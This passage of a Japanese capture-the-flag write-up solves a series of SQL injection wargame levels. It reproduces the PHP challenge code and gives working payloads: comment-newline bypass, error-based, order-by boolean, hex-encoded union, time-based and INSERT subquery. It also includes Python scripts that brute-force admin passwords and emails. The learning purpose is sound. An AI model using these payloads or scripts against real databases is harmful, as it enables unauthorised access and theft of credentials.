print(dt_end)
実行結果
pw: 우왕굳 2020-08-27 10:47:58.099756 2020-08-27 13:07:49.916096
2時間半もかかっとる。せめて一文字目が出るまで見守りたい派なんだけど、一文字目が出るまでにこれ1時間近くかかったのでは。
これはもし競技で出やら嫌だなぁ。いつも「候補文字列足りないのでは」という恐怖に怯えつつやっているので、ノーヒントでunicodeの範囲まで出されると厳しい。今回だと出題者が韓国の方っぽいので、韓国語のレンジに絞ってやるのはアリだったかも知れない。
ということは、unicodeを使ったパスワードを定義するのは、守り的にはかなり有効ってことだな。
dragon
query : select id from prob_dragon where id='guest'# and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__); ?>
ついにドラゴンまで来た。
予め埋まってるクエリが、なんと id='guest'#
ってその後をコメントアウトしてしまっている。困った。
adminのレコードを取ってくればクリア。
#
のコメントアウトは行末までだから、改行を入れたらなんとかならんかな?
select id from prob_dragon where id='guest'# and pw='%0a or 1#'
これだと、出力は Hello guest から変わらないけど、偶然撮れたレコードの先頭がguestだった可能性があるので
select id from prob_dragon where id='guest'# and pw='%0a or 1 limit 1,1#'
👍
iron_golem
query : select id from prob_iron_golem where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(mysqli_error($db)); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); highlight_file(__FILE__); ?>
sleep
,benchmark
が使えない。adminのパスワードを入手したらクリア。
time based injectionが示唆されているのかな?payloadsのページを見てみるとPolyglot injection (multicontext)
という攻撃でsleep
やbenchmark
が使えるみたい。まぁ今回は使えないんだけども。
これまでと違うとこがもう一つ。今までは何かしらデータが取れていればHello admin
みたいな感じで取れたidを表示してくれていたんだけど、今回は無し。かわりに。errorが発生した場合はerrorを表示して終了。
これはやっぱり、結果がわからない時に使う time based injection がやっぱり示唆されている気がする。
構文ミスなんかの時はerrorが表示されるのでわかるけど、DB抜けたけどpwがadminのものそのものじゃなかった、みたいなときには何も表示されないのでわからない。
これはTime-basedじゃなくてError-basedができそう。試しに、大きな値になる数式を突っ込んでみます。
select id from prob_iron_golem where id='admin' and pw=''or exp(1000)#'
DOUBLE value is out of range in 'exp(1000)'
いけそういけそう!
条件式で、あたったらerrorを表示させるようにすれば、
select id from prob_iron_golem where id='admin' and pw=''or if(id='admin' and substr(pw,x,1)='x', exp(1000), 1)#
このクエリでpwを探索できそう。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_pw): query = "'or if(id='admin' and substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "', exp(1000), 1)#" return query def check_result(res): if 'DOUBLE value is out of range' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pw = fix_pass + str(c) print(try_pw) query = create_pass_query(try_pw) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
ヨシ╭(๑•̀ㅂ•́)و ̑̑
dark_eyes
query : select id from prob_dark_eyes where id='admin' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes"); highlight_file(__FILE__); ?>
今回はcol
,if
,case
,when
,sleep
,benchmark
が使えない!
さっきまでの流れからすると、error-basedもtime-based attackも厳しい…。
今回は、エラーが発生した場合は内容は表示してくれませんが、exit()
が呼ばれるのでblankページに飛ばされます。
なので条件分岐さえ書ければ、さっきと同じerror-based attackは出来るはず。しかしif
もcase when
も使えない…。
ifnull
も使えない…。
i//f
とかi/**/f
が使えないか試してみる。
query: pw='or i//f (length(pw)=1,1,exp(1000))# encoded: pw=%27or+i%2F%2Ff+%28length%28pw%29%3D1%2C1%2Cexp%281000%29%29%23
これで100まで試してみたけどずっとエラーだったのでだめっぽい。
pw='or id='admin' and length(pw)=1
がTrueになる場合だけerrorが発生せず、Falseのときのみ構文エラーが発生するようなクエリを考えてみる。
MySQLでは、a or b
のa
がFalseの場合のみ、b
もFalseでないか評価しに行くっぽい。ので、b
の部分をErrorが発生するようにしておくと、a
がFalseだったときのみErrorが発生する。へーへーへー!逆に言うと、a
がTrueのときのみErrorが発生しない。
まずはErrorが出ないパターン。この構文自体が間違っていないかの確認。x
は1
にしてある。
pw='or id='admin' and (1=1 or exp(1000))#
この構文だと、or
の前の評価が必ず1Trueになるので、Errorが発生しないはず。
...ブランクページは出ませんでした。ヨシ。
次に、orの先でerrorが発生するパターン。
pw='or id='admin' and (1=0 or exp(1000))#
これはor
の前がFalseになるので、必ずexp(1000)
の評価が走り、Errorが発生、ブランクページが現れます。ヨシ。
と、ここまでは良かったのですが。いざpwを調べる攻撃に使ってみるとうまく動かない。ハテ?
pw='or id='admin' and (substr(pw,x,1)='x' or exp(1000))#
Errorしか発生しない。
他のwriteupを見ると、Error発生条件にunion select 2
を投げているものがあった。
カラムは1つしか無いので、エラーが発生する。
pw='or id='admin' and (substr(pw,x,1)='x' or select id union select 2)#
この方式だと、何故かうまく行ったのでこの方式で解く。exp()
が使えなかった理由はまだ解明していない…。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_pw): #query = "'or id='admin' and (substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "' or exp(1000))#" query = "'or id='admin' and (substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "' or (select id union select 2))#" return query def check_result(res): if 'prob_dark_eyes' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pw = fix_pass + str(c) print(try_pw) query = create_pass_query(try_pw) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
他、select where
の構文も使えるみたい。
?pw='or id='admin' and (select exp(1000) where substr(pw,x,1)='x'#
これも、where句の方の評価が先に走ることを利用している。上記のスクリプトの変更分だけ記載。
def create_pass_query(try_pw): query = "'or id='admin' and (select exp(1000) where substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "')#" return query def check_result(res): if not 'prob_dark_eyes' in res.text: return True return False
これでも同じく解ける👍
hell_fire
id email score query : select id,email,score from prob_hell_fire where 1 order by
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~"); $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}"; echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>"; $rows = mysqli_query($db,$query); while(($result = mysqli_fetch_array($rows))){ if($result['id'] == "admin") $result['email'] = "**************"; echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>"; } echo "</table><hr>query : <strong>{$query}</strong><hr>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire"); highlight_file(__FILE__); ?>
おや、出力が増えている。id,email,scoreのtableが出ている。
union
が使えない。指定するのはorder
とemail
。
入力したemailがadminのものと一致したらクリア。しかし、クエリで取ってきたemailは、adminの場合***********
で置き換えられてしまうので見えない。
試しにorderに1
を入れてみた。
id | score | |
---|---|---|
admin | ************** | 200 |
rubiya | rubiya805@gmail.cm | 100 |
データは出たけどadminのemailは見えない。ちなみにorderに4を入れるとエラーになったので、カラムは3つだけ。
orderを3にしたときだけ順序が入れ替わってrubiya
が上に来る。これが利用できそう。
条件を作成し、trueならorder=id, falseならorder=score になるようにすれば、admin
とrubiya
のどっちが先に表示されるかでboolean-basedが実現できそう。
select id,email,score from prob_hell_fire where 1 order by if((id='admin' and substr(email,x,1)='x'), id,score)
ブラウザのurlに直打ち込んだ時は、id,score
で通るが、スクリプト回すと1,3
でないと通らなかった。
mail addressなので、_
や.
を使っている可能性を考えると、文字の比較はord
でしたほうが良さそう。本当は今までの問題も、候補文字数増やしてord
で比較するほうが確実なんだよなぁ。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse from bs4 import BeautifulSoup url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@",".","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?order=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_mail): query = "if((id='admin' and ord(substr(email," + str(len(try_mail)) + ",1))='" + str(ord(try_mail[-1])) + "'), 1,3)" return query def check_result(res): soup = BeautifulSoup(res.text, 'html.parser') table = soup.find('table') rows = table.findAll('tr') if 'admin' in str(rows[1]): return True return False #################### ### main ### #################### # find email fixed = "" is_end = False while not is_end: for c in candidates: try_mail = fixed + str(c) print(try_mail) query = create_pass_query(try_mail) res = attack(query) if check_result(res): fixed += c break if c == '#': is_end = True print("result: " + fixed)
evil_wizard
id email score
query : select id,email,score from prob_evil_wizard where 1 order by
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~"); $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really? echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>"; $rows = mysqli_query($db,$query); while(($result = mysqli_fetch_array($rows))){ if($result['id'] == "admin") $result['email'] = "**************"; echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>"; } echo "</table><hr>query : <strong>{$query}</strong><hr>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard"); highlight_file(__FILE__); ?>
今回も id, email, score が表示される。さっきと同じくadminのemailを当てる必要がある。
// same with hell_fire? really?
の文言が気になる。もしかしたらカラムかレコードが増えてるのかもしれない。。。
とりあえず、order=1、にしたら admin, rubiyaの順、order=2でも3でも順番が変わらない…!これは困った。さっきの手が使えない。
sleep
,benchmark
も使えないので、Time-basedにすり替えることもできなさそう。
他に使えそうな手は...、emailの○文字目とかで並び替えできないかなー?
order=substr(email,3,1)
こんな感じ。
ってやった見たら入れ替わった!emailの3文字目で並び替えると、rubiyaが上になる!!!
select id,email,score from prob_evil_wizard where 1 order by if((id='admin' and substr(email,x,1)='x'), substr(email,1,1),substr(email,3,1))
これで行けるか?
下記のクエリで試してみる。
select id,email,score from prob_evil_wizard where 1 order by if(1=1, substr(email,1,1),substr(email,3,1))
if
の条件式を1=1
にしたときと1=0
にした時で、順序が変わる!これは行けそう(๑✧∀✧๑)
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse from bs4 import BeautifulSoup url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@",".","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?order=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_mail): query = "if((id='admin' and ord(substr(email," + str(len(try_mail)) + ",1))='" + str(ord(try_mail[-1])) + "'), substr(email,1,1),substr(email,3,1))" return query def check_result(res): soup = BeautifulSoup(res.text, 'html.parser') table = soup.find('table') rows = table.findAll('tr') if 'admin' in str(rows[1]): return True return False #################### ### main ### #################### # find email fixed = "" is_end = False while not is_end: for c in candidates: try_mail = fixed + str(c) print(try_mail) query = create_pass_query(try_mail) res = attack(query) if check_result(res): fixed += c break if c == '#': is_end = True print("result: " + fixed)
1周目で実は hell_fire と evil_wizard はすっきり解けきれてなかったんだけど、2周目に何故かノーヒントで解けてしまった。嬉しい(ˊᗜˋ)/
green_dragon
query : select id,pw from prob_green_dragon where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']){ if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~"); $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'"; echo "<hr>query2 : <strong>{$query2}</strong><hr><br>"; $result = mysqli_fetch_array(mysqli_query($db,$query2)); if($result['id'] == "admin") solve("green_dragon"); } highlight_file(__FILE__); ?>
DBから取れた結果のid
やpw
にも禁止文字が指定されてる。なんで?...と思ったら、結果のid
,result
で、もう一回クエリをかけるらしい。
2度目のクエリで、idの結果にadminが取れたらクリア。
見たことないタイプだ。
クオートが使えないパターンだけど、\
は禁止されていないので、これをid
の方に突っ込むことで、idの後ろのシングルクォートをエスケープして無効化してしまう作戦は使えそう。
union select を使って、1つ目のクエリ結果のid
,pw
に好きな文字を入れ、query2を完成させる。
query2から考えよう。
query2の結果、adminのレコードが取れればクリア。
query1にもquery2にもクォートが使えないので、文字列はhexで表現する。
select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'
これをquery2に突っ込むために、query1は
select id,pw from prob_green_dragon where id='\' and pw='union select 0x5c,union select 0x61646d696e##'
ここで、union select 0x61646d696e#
は文字列として認識してほしいので、更にこれをhexに直す。最終的にurlのクエリに入れるのは
?id=%5c&pw=union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23
🙌
red dragon
query : select id from prob_red_dragon where id='' and no=1
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~"); if(strlen($_GET['id']) > 7) exit("too long string"); $no = is_numeric($_GET['no']) ? $_GET['no'] : 1; $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result['id']}</h2>"; $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again. $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['no'] === $_GET['no']) solve("red_dragon"); highlight_file(__FILE__); ?>
adminのnoを取得できればOK。
今回はid
は7文字以下、no
は数値でない場合は1にされてしまう。
何かレコードが取れたら、id
を表示してくれる。
noにも制約があるってことは、noに入れる数値も活かす感じになるんだろうか。
where id='admin' and no={no}
の{no}
をブルートフォースすれば出てきそうだけど、多分大きな数が設定されてるんだろうなー。(50000までくらいやってみたけど出なかった)
no
に数値を入れつつ、pw
で設定した式を活かしたいので、こんな感じ
select id from prob_red_dragon where id=''hogehoge()#' and no=%0a{num}
hogehoge()
は5文字以下の何か、no=
は改行+数値を入れることで数値だけ活かすことができそう。
5文字以下で数値を扱う条件を入れようとすると、
?id='||no>%23&no=%0a10000
こんな感じ。
試しに入れると、Hello admin
が表示された。次に、条件がFalseになるようにめちゃくちゃ大きな値を入れてみると
?id=%27||no>%23&no=%0a1000000000000
Hello admin
出ず!これは刺さったっぽいぞ🙌
これを使えば、no
の二分探索ができそう。手作業で桁まで絞っておいて
100000000 < no < 1000000000
が判明したので、これ以降はスクリプトで。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} def attack(no): attack_url = url + '?id=%27||no>%23&no=%0a' + str(no) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def check_result(res): if 'Hello admin' in res.text: return True return False #################### ### main ### #################### max_no = 1000000000 min_no = 100000000 while (max_no - min_no) > 1: mid = (max_no + min_no)//2 print(mid) res = attack(mid) if check_result(res): min_no = mid else: max_no = mid print("result: " + str(mid))
誤差1の範囲で求まるので、出た答えの近傍をno
に入れて送るとクリア。
blue_dragon
query : select id from prob_blue_dragon where id='' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~"); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon"); highlight_file(__FILE__); ?>
select id from prob_blue_dragon where id='{$GET[id]}' and pw='{$GET[pw]}'
adminのpwがわかればクリア。
何故か入力チェックが二段階に分かれていて、最初のチェックは緩め、2段めのチェックはクォートやエスケープが使えなくて厳しい。
2個目のチェックを通れば、クエリ結果のid
を出力してくれるらしい。けど、クォートもバックスラも使えないのは厳しい...。
1個目のクエリではクォートもバックスラもチェックされずに走るので、結果の表示が必要ないTime-based injectionが使えそう。
select id from prob_blue_dragon where id='\' and pw='or sleep(3)#'
このクエリになるように送ると、しっかり3秒sleepしたあとにNo Hack ~_~
が返ってきました。行けそう!
select id from prob_blue_dragon where id='\' and pw='or if(substr(pw,x,1)='x',sleep(3),1)#'
こんな感じでクエリを組み立てます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse import time url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?id=%5c&pw=' + urllib.parse.quote(attack_sql) #print(attack_url) start = time.time() res = requests.get(attack_url, headers=headers) #print(res.text) return time.time() - start def create_pass_query(try_pw): query = "or if(id='admin' and substr(pw," + str(len(try_pw)) + ",1)='" + try_pw[-1] + "',sleep(3),1)#" return query def check_result(t): if t > 3: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pw = fix_pass + str(c) print(try_pw) query = create_pass_query(try_pw) t = attack(query) if check_result(t): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
その後落ちるとしても、クエリが走るかどうかはTime-based injectionができるかどうかの大きなポイント。
frankenstein
query : select id,pw from prob_frankenstein where id='frankenstein' and pw=''
<?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit("error"); $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein"); highlight_file(__FILE__); ?>
unionと(
,)
が使えない。
抽出するカラムが2つあるので、adminのpwがわかればクリア。
クエリ中にerrorが発生したときは、errorを吐いて終了してくれる。
error-based injectionができそう。
()
が使えないので、if
の代わりにcase when
を、substr
の代わりにlike
を使って組み立ててみる。
error
を発生させる、union
も()
も使わない方法は、とりあえず大きな数を計算させる。
select id,pw from prob_frankenstein where id='frankenstein' and pw=''or id='admin' and case when pw like 'x%' then 1 else 100000000000000000*1000000000000000 end#'
こんな適当なクエリでいけるじゃろうか。
先ずは 100000000000000000*1000000000000000
でエラーが発生するかテストしてみる。
select id,pw from prob_frankenstein where id='frankenstein' and pw='' or 100000000000000000*1000000000000000#'
よっしゃ、errorになった。
絶対Trueになるように、like '%'
でやってみるとerrorは発生しなかったので、これで行けそう👍
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import os import requests import urllib.parse url = os.environ['SQLI_URL'] cookie = os.environ['SQLI_COOKIE'] headers= {'Cookie':'PHPSESSID='+cookie} candidates = [chr(i) for i in range(48, 48+10)] + \ [chr(i) for i in range(97, 97+26)] + \ [chr(i) for i in range(65, 65+26)] + \ ["_","@","$","!","?","&","#"] def attack(attack_sql): attack_url = url + '?pw=' + urllib.parse.quote(attack_sql) #print(attack_url) res = requests.get(attack_url, headers=headers) #print(res.text) return res def create_pass_query(try_pw): query = "'or id='admin' and case when pw like '" + try_pw + "%' then 1 else 100000000000000000*1000000000000000 end#" return query def check_result(res): if 'addslashes' in res.text: return True return False #################### ### main ### #################### # find pw fix_pass = "" is_end = False while not is_end: for c in candidates: try_pw = fix_pass + str(c) print(try_pw) query = create_pass_query(try_pw) res = attack(query) if check_result(res): fix_pass += c break if c == '#': is_end = True print("result: " + fix_pass)
phantom
ip email 127.0.0.1 **************
<?php include "./config.php"; login_chk(); $db = dbconnect("phantom"); if($_GET['joinmail']){ if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try"); $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')"; mysqli_query($db,$query); echo "<hr>query : <strong>{$query}</strong><hr>"; } $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'"); echo "<table border=1><tr><th>ip</th><th>email</th></tr>"; while(($result = mysqli_fetch_array($rows))){ if($result['no'] == 1) $result['email'] = "**************"; echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>"; } echo "</table>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); } highlight_file(__FILE__); ?>
joinmail
にはduplicate
が使えない。
レコード追加のクエリは
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')
となっており、
id = 0 ip = 自分のIPアドレス
が固定で入ってしまう。
ヒントにduplicate
があるっぽいので、どういった事ができるのか確認してみる。
MySQL: INSERT...ON DUPLICATE KEY UPDATEまとめ - Qiita
わかりやすい記事が。もしnoがuniqueだった場合、
insert into prob_phantom(no,ip) values(1,'127.0.0.1') on duplicate key update ip=MY_IP_ADRESS;
とすると、no=1のレコードのipが自分のに書き換えられそう。でもこれをやってもemailは結局フィルタされてしまうし、noはそもそもUNIQUEではない。ipもemailもuniqueではなさそう。そして、そもそもduplicate
が使えない。
こんな感じでno=1
のレコードから値をコピーしたり、noを書き換えられたりしたら良さそう。
似たやつで、
insert into ips(email) select ips.email from ips where ips.no=1;
みたいにすると、emailだけ抜いたレコードを追加できる。下記はlocalで試したやつ。
mysql> insert into ips(email) select ips.email from ips where ips.no=1; Query OK, 1 row affected (0.00 sec) Records: 1 Duplicates: 0 Warnings: 0 mysql> select * from ips; +------+-------------+-------------------+ | no | ip | email | +------+-------------+-------------------+ | 1 | 127.0.0.1 | admin@example.com | | NULL | NULL | admin@example.com | +------+-------------+-------------------+ 2 rows in set (0.00 sec)
これだとnoの条件にもipの条件にも引っかからないので表示してくれないけど。
あとはUPDATE
を使うとか。
update ips set no=0;
mysql> update ips set no=0; Query OK, 2 rows affected (0.00 sec) Rows matched: 2 Changed: 2 Warnings: 0 mysql> select * from ips; +------+-------------+-------------------+ | no | ip | email | +------+-------------+-------------------+ | 0 | 127.0.0.1 | admin@example.com | | 0 | NULL | admin@example.com | +------+-------------+-------------------+ 2 rows in set (0.00 sec)
おお、書き換わった。問題は今回の問題でupdateを差し込めるのか。
ここで、問題のクエリをもう一度見てみます。
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')
$_SERVER[REMOTE_ADDR]
は書き換えられないので、実質書き換えられるのは最後のみ。ここで何かしようとするとupdateは使えなさそう。
おや、insert文の例を見ていたときに、「復数レコードを一気に追加」という書き方を見たけど、これなら使えそう。
insert into prob_phantom values(0,MY_IP_ADDRESS,'hoge'),(0,MY_IP_ADDRESS,'fuga')
みたいな。これだと
?joinmail=hoge'),(0,MY_IP_ADDRESS,'fuga
※urlエンコードする
で実現できそう。
更に、さっきの select where で値を引っ張ってくる方法を使えば、
insert into prob_phantom values(0,MY_IP_ADDRESS,'hoge'),(0,MY_IP_ADDRESS,(select ips.email from ips where ips.no=1))#')
で行けるんじゃないかしら。まずはlocalで試してみる。
mysql> select * from ips; +------+-----------+--------------------+ | no | ip | email | +------+-----------+--------------------+ | 1 | 127.0.0.1 | admin@examplie.com | +------+-----------+--------------------+ 1 row in set (0.00 sec) mysql> insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips where no=1)); ERROR 1093 (HY000): You can't specify target table 'ips' for update in FROM clause
あらま。ERRORだ。
このエラーは、テーブルを変更し、さらにサブクエリーで同じテーブルから選択しようとする次のような場合に発生します。
ということで、同じテーブルから選択しようとすると怒られるみたい。
こちらに解決方法が載っていた。更に副問合せにしてしまうという方法。他にも、AS
を使わずにaliasを付けてあげる方法もあるみたい。こっちのほうがスッキリかけるかな。
副問合せバージョン
insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from (select email from ips where no=1) as tmp));
aliasバージョン
insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips tmp where no=1));
どちらもlocalではクエリが通りました👍
mysql> select * from ips; +------+-----------+--------------------+ | no | ip | email | +------+-----------+--------------------+ | 1 | 127.0.0.1 | admin@examplie.com | +------+-----------+--------------------+ 1 row in set (0.00 sec) mysql> insert into ips values(0,'111.111.111.111','hoge'),(0,'111.111.111.111',(select email from ips tmp where no=1)); Query OK, 2 rows affected (0.00 sec) Records: 2 Duplicates: 0 Warnings: 0 mysql> select * from ips; +------+-----------------+--------------------+ | no | ip | email | +------+-----------------+--------------------+ | 1 | 127.0.0.1 | admin@examplie.com | | 0 | 111.111.111.111 | hoge | | 0 | 111.111.111.111 | admin@examplie.com | +------+-----------------+--------------------+
こんな感じ。このクエリなら送れそう。
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','hoge'),(0,'{MY_IP_ADDRESS}',select email from prob_phantom tmp where no=1)#')
これをMY_IP_ADDRESS
を置き換え、urlエンコードして送ります。
おー、ip=MY_IP_ADDRESS
